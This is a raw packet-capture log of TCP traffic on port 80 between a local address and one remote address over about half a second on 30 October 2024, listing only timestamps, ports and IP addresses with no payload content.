Oct 30, 2024 00:20:16.697319984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697334051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697344065 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.697348118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697362900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697377920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697395086 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.697395086 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.697408915 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.697427988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697449923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697463989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697479010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697485924 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.697494030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697514057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697529078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697537899 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.697544098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697557926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697570086 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.697572947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697594881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697606087 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.697609901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697624922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697624922 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.697639942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697649002 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.697654963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697669983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697673082 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.697685003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697700977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697709084 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.697715998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.697751999 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:16.929225922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:16.929289103 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.221442938 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.228244066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.228411913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.228441954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.228456020 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.228458881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.228475094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.228490114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.228504896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.228516102 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.228528976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.228545904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.228554010 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.228562117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.228574038 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.228594065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.228600025 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.228610039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.228624105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.228640079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.228647947 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.228655100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.228678942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.228693962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.228717089 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.228717089 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.228760958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.228775024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.228789091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.228806973 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.228809118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.228825092 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.228844881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.228859901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.228874922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.228893042 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.228895903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.228915930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.228919983 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.228931904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.228960991 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.228965998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.228990078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229005098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229021072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229027987 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.229037046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229053974 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.229057074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229074955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229079008 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.229089975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229104996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229119062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229131937 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.229134083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229149103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229159117 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.229163885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229173899 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.229178905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229192972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229202986 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.229208946 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229223013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229228020 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.229238033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229262114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229263067 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.229276896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229293108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229301929 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.229306936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229324102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229332924 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.229337931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229352951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229367971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229394913 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.229394913 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.229424000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229439020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229458094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229461908 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.229475975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229500055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.229509115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229523897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229540110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229556084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229564905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.229595900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229598045 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.229619026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229645014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.229650021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229665041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229680061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229688883 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.229696035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229711056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229718924 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.229726076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229739904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229754925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229762077 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.229769945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229784966 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.229794979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229809046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229811907 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.229823112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229837894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229852915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229854107 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.229867935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229878902 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.229882956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229897976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229902983 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.229921103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229934931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229949951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.229964018 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.229974031 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.230015039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230030060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230048895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230065107 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.230071068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230086088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230089903 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.230101109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230117083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230128050 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.230132103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230159998 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.230161905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230185032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230206013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230211020 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.230231047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230242014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.230245113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230259895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230276108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230290890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230295897 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.230305910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230321884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230343103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230360985 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.230360985 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.230396986 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.230398893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230413914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230436087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230449915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230453968 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.230463982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230488062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230499983 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.230509043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230521917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230535984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230549097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230550051 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.230564117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230573893 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.230578899 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230587959 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.230593920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230608940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230616093 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.230623960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230638981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230654955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230669975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230690002 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.230690002 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.230711937 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.230736971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230758905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230773926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230788946 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230803967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230811119 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.230818987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230840921 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.230840921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230855942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230866909 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.230871916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230887890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230890989 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.230902910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230918884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230926991 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.230935097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230948925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230963945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.230979919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231004953 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.231004953 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.231029987 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.231051922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231076002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231091022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231112957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231122971 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.231127977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231149912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231154919 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.231165886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231179953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231188059 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.231195927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231209993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231215954 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.231225967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231240988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231256962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231271029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231287956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231307030 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.231336117 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.231385946 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231400967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231415033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231430054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231441021 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.231451988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231466055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.231467962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231479883 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.231482983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231498003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231513977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231525898 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.231528044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231551886 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.231560946 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231576920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231590986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231609106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231611967 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.231623888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231635094 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.231638908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231653929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231658936 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.231668949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231684923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231698990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231699944 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.231723070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231738091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231744051 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.231753111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231766939 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.231769085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231784105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231794119 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.231798887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231823921 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.231853962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231873989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231890917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231898069 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.231908083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231924057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231934071 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.231937885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231957912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231959105 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.231972933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.231987953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232002020 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.232003927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232021093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232049942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232055902 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.232080936 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.232112885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232129097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232150078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232156038 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.232165098 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232181072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232182026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.232208967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232223988 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232228041 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.232239962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232254982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232270956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232278109 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.232301950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232311010 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:17.232319117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:17.232333899 CET	80	49712	185.215.113.16	192.168.2.5
